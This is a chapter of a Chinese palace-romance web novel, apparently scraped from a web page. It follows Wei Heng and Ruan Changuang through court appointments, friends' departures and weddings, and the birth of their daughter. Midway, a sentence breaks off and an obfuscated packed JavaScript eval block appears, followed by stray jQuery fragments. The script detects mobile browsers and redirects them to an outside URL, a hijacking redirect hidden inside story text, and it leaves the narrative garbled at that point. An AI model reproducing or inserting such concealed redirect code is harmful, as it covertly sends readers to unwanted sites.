夜间,阮蟾光依偎在卫珩身边,“阿珩,谢谢你!”
“跟我还要说谢?”卫珩把玩着她肩头的一缕秀发。
阮蟾光摇了摇头,“你不懂,这不是客套的谢,是由衷的谢。你把阿约留下,免了四叔父和四叔母念子之情,把阿玄留下,照顾了虎球宝依赖兄长之情,但我知,你做这一切都是为我,除了和你说声谢谢,我也不知道自己能做什么。”
卫珩轻轻一弹她光洁的额头,“说过不用和我客气,再说了,我就不能真的是相中了阿约和阿玄,他们叔侄可真是一对‘宝树’啊,落到别人手里,我才是亏。”
阮蟾光好笑地摇摇头,这话说的,阮玄和阮约倒不像宝树,像摇钱树是真的。
两人正准备就寝,虎球宝和阮臻臻吵着嘴就来了正房,卫珩认命地抱着阮蟾光从榻上坐起,两人理好衣衫让清萍将这两个小祖宗放进来,只见阮臻臻和虎球宝挣得面红耳赤。
阮蟾光问:“你们又怎么了?”
虎球宝手里攥着一团废纸,气愤地告状:“姑丈、姑母,她......她撕先生给我留的课业。”
前线战事平定后,苏广返回了汝阳,虎球宝又过上了勤勤恳恳读书的生活,他虽贪吃贪玩,但很听苏广的话,每日课业必会认真完成的。今日阮臻臻无聊,去虎球宝房中寻他玩,虎球宝正灵思如泉涌,一笔挥就一篇策论,打算明日去找苏广求夸赞呢,沉浸其中便未搭理阮臻臻。阮臻臻哪容得虎球宝忽视她,扯了他的课业就要拿过来看,谁知下手太重,给他扯成了两半呢?
虎球宝当场就发威了,指着阮臻臻一阵输出,阮臻臻哪里会由着他横眉怒目,当场把那两半纸变成了八瓣儿。
虎球宝的虎威彻底发作,但他很有风度,不和女孩子打架,直接拉了阮臻臻来正房找姑丈和姑母评理。
卫珩和阮蟾光给二人断官司早断成习惯了,但阮蟾光今日真的很累,她打了个哈欠躺回榻上,不忘和卫珩说:“今晚你来吧,我累了。”
卫珩额角一抽,看看侧过身子就抱着肚子睡着了的阮蟾光,再看看前面两个双目喷火气势汹汹的小人,他揉揉眉心道:“这样吧,先挂一夜免战牌,咱们明日再说这个问题怎么样?”
“又挂免战牌?”阮臻臻和虎球宝异口同声,说完嫌弃的看对方一眼,双双别开头冷哼一声。
卫珩先提前体会了养孩子的不易,他把两个人叫过来讲道理,讲到接近子时。
日子就这么悠闲轻转地流逝若水,卫珩和阮蟾光两人日常赏花摸鱼,逗猫惹狗,三五不时再给虎球宝和阮臻臻协调下姐弟矛盾,过起了舒服的养胎遛娃生活。
二月初,东未明在东靖云满月酒后返回云州,正式就任云州刺史之职,因东靖云尚小,方浔母子暂留汝阳,待孩子大些再去云州与东未明团圆。
中旬,卫珩上奏章帝为平定云州战事的麾下将领请功,应鸾、段谟、沈昱、郭信等人多有封赏,因平定兴庆王和武阳王时,段谟投效和献策有功,卫珩立荐段谟镇军事重地平阳,这在朝中兴起了一轮新的拉锯。
平阳位置之重,朝野皆知,卫珩经历此战已在事实上控制了云州大权,倘再将平阳统兵之权交与段谟,那不啻于让他在北地无法无天,毫无掣肘,就算是争破头,朝臣也是不同意的。
最终,朝廷以安南将军燕云栩镇平阳。
燕云栩出身华阳燕氏,正是燕文舆的族侄,原效力庐宁王麾下。燕云栩方至而立,已是一方大将,是新一代燕氏子弟中数一数二的佼佼者。他自幼父母双亡,因才能突出,得燕文舆照拂,少时入军中建功。
燕氏效忠华阳王,燕云栩又与庐宁王交情匪浅,各方势力想尽办法促成了如此安排,不乏是让燕云栩控制住云州和中州间的这处重镇,与在东的华阳王和在南的庐宁王对卫珩共同形成掣肘之势。
即便如此,段谟的功劳也是举世共睹的,统兵平阳不成,段谟转镇上伊,取代了之前安北侯的位置。
上伊也是云州重镇,纵不若平阳位于中州和云州枢纽之地,也是云州不可或缺的一道天险,这等安排虽然也让各方势力感到心疼,但云州如今是卫珩的地盘,将他的人安排在他的地盘上,也免去了卫珩进一步染指平阳扩大兵权。
这个安排,可说正中卫珩下怀,他早料到朝中不会同意段谟镇平阳,他从一开始就不是冲着平阳去的。
三月,段谟携妻儿告别卫珩和阮蟾光,赴任上伊。临行前,卫珩在府中设宴给段谟践行,两人是战友,也是酒友,更是损友,酒桌上抬杠不够,喝完酒还跑到书房不知扯什么闲篇扯到半夜。
阮蟾光没去管二人说了什么,一直在招待何玉漪母子。怀孕这种事可能会传染,段谟回来不久后,正月里何玉漪又有了身孕,现在不足两个月,段谟为稳妥,全程择了水路带妻儿出发,阮蟾光特地叮嘱何玉漪路上小心。
何玉漪一一都应了,她从侍女手里拿出两件软缎质地的小衣裳,是闲来无事时特地给阮蟾光腹中孩子做的,以谢她这些日子在汝阳对他们母子的照拂。
因是给孩子做的,衣裳上没有绣太多花纹,免得膈到孩子柔嫩肌肤,何玉玺只在上面浅绣了几处兰草点缀,但针脚收得细细的,处处做工都体现了用心,阮蟾光郑重接过,谢了何玉漪。
阮蟾光看出这衣裳是女孩子的样式,心知定是卫珩四处嚷嚷着她腹中怀的是闺女,连何玉漪都知道了。
段谟携妻儿离开汝阳时何玉漪还问:“你说卫王天天嚷嚷着王妃腹中怀的是郡主,倘生出来是个男孩子怎么办?”她在卫王府里都看到了,卫王妃准备的东西都是小郡主用的。
段谟正逗弄着儿子,听妻子话一愣道:“那没办法,亲爹坑儿子,只能当闺女养着了呗!”
何玉漪嗔他没个正形,惹来段谟无赖一笑,他摸摸妻子的小腹对儿子说:“阿申,你说这次母亲会不会给你生个妹妹?”
段申正在吃枣子,听到“妹妹”重重点头,“会!”
“为父也觉得是妹妹!”段谟满意地将儿子抛起,逗得段申呵呵直乐,段谟还不忘叮嘱何玉漪多让人给他未出世的闺女准备些漂亮衣裳。
何玉漪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003608|188348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无语问他:“那如果生出来是儿子怎么办?”
段谟:“……”
梁朝封王依规制,麾下有五千到两万不等亲军,卫珩封国汝阳,统军之数两万,为封王之顶,段谟走后,他便以沈昱拜封国统兵将领,随他驻汝阳。
沈昱年纪轻轻受此重任,深感卫珩信任,自此更竭诚尽心。
三月初,沈昱与燕山月于汝阳大婚,卫珩带着阮蟾光亲至,给沈昱做了证婚人,狠狠恶心了华阳王一把。
转眼就到了永宁九年的初夏。
阮蟾光是在夜里发动的,当时她和卫珩正躺着说话,肚子就一抽一抽疼了起来。产房和稳婆是早就备好的,卫珩也不管吴嬷嬷说的什么不洁忌讳,一直在产房陪在阮蟾光身边。
阮蟾光预想过很多次那种疼痛,但当真正来临时,她还是痛得几乎要晕死过去,可怕的是,她根本就不会呼吸,也使不上力气。
这可急死了吴嬷嬷,在旁仔细地教了她数次。
卫珩看一眼阮蟾光身下殷红的血迹,此时的心情比第一次上战场还心乱如麻,他始终紧握着阮蟾光的手,给她擦去额角的汗水,声音颤抖道:“圆圆别怕,我们慢慢来,不会有事的。”
阮蟾光疼得眼中冒泪,但她实在顾不上哭,再生不出来她真的要疼死了,孩子也会不好,只能反抓着卫珩的手借力,学着吴嬷嬷和稳婆所说去调稳呼吸使力气。
就这么挣扎了整整一夜,天亮时阮蟾光产下了一个女婴,她头次生产有些艰难,好在母女平安。
阮蟾光累得几乎虚脱,闭上眼睛沉沉睡去,再睁开眼睛时,正见晨光中卫珩抱着襁褓中的一个小婴孩守在她身边,见她醒来,卫珩摸了摸她的面庞,将皱巴巴的孩子抱到她身前说:“看,阿锦。”
他眉目唇角微微弯起,带着深蕴光芒的温柔笑意,那份幸福和喜悦溢于言表,阮蟾光摸了摸卫锦沉睡的面庞,湿润的眼角因喜悦溢出水渍。她视线下移,注意到卫珩抱着孩子的手背上抓痕深陷,想到昨夜她疼得失去了理智,不甚抓破了他的手,抿抿唇,用尽余力握住了他带着伤口的手背,给了他一个抱歉的眼神。
卫珩笑着摇摇头,细心问她累不累,累了就再睡一觉。
一大早卫珩就差人去了阮府和方府报告喜讯,王夫人和裴夫人大喜,当天就来了卫王府看阮蟾光母女,顾傲霜和方浔也来了,方浔还抱着已经四个月大的东靖云,指着摇篮中的妹妹问他:“靖云,快看妹妹,好不好看?”
东靖云出了满月后渐渐长开,面容五官肖似东未明,但也完美继承了方浔的灵慧秀美,父母的优势中和在他身上,令这个孩子生得极漂亮,他听不太懂母亲的话,但还是注意到了摇篮里咿咿呀呀睁着无辜大眼睛的妹妹,摇晃着手里的拨浪鼓就要给她。
应鸾先有了大侄子,又有了大侄女,当下正是开心时,见状捏捏东靖云的小脸说:“阿云真乖,妹妹还拿不动,等妹妹大了你再给她好不好?”
东靖云懵懂地看看妹妹,再看看姑姑,居然呵呵一笑,还“嗯”了一声,众人见状皆是大笑。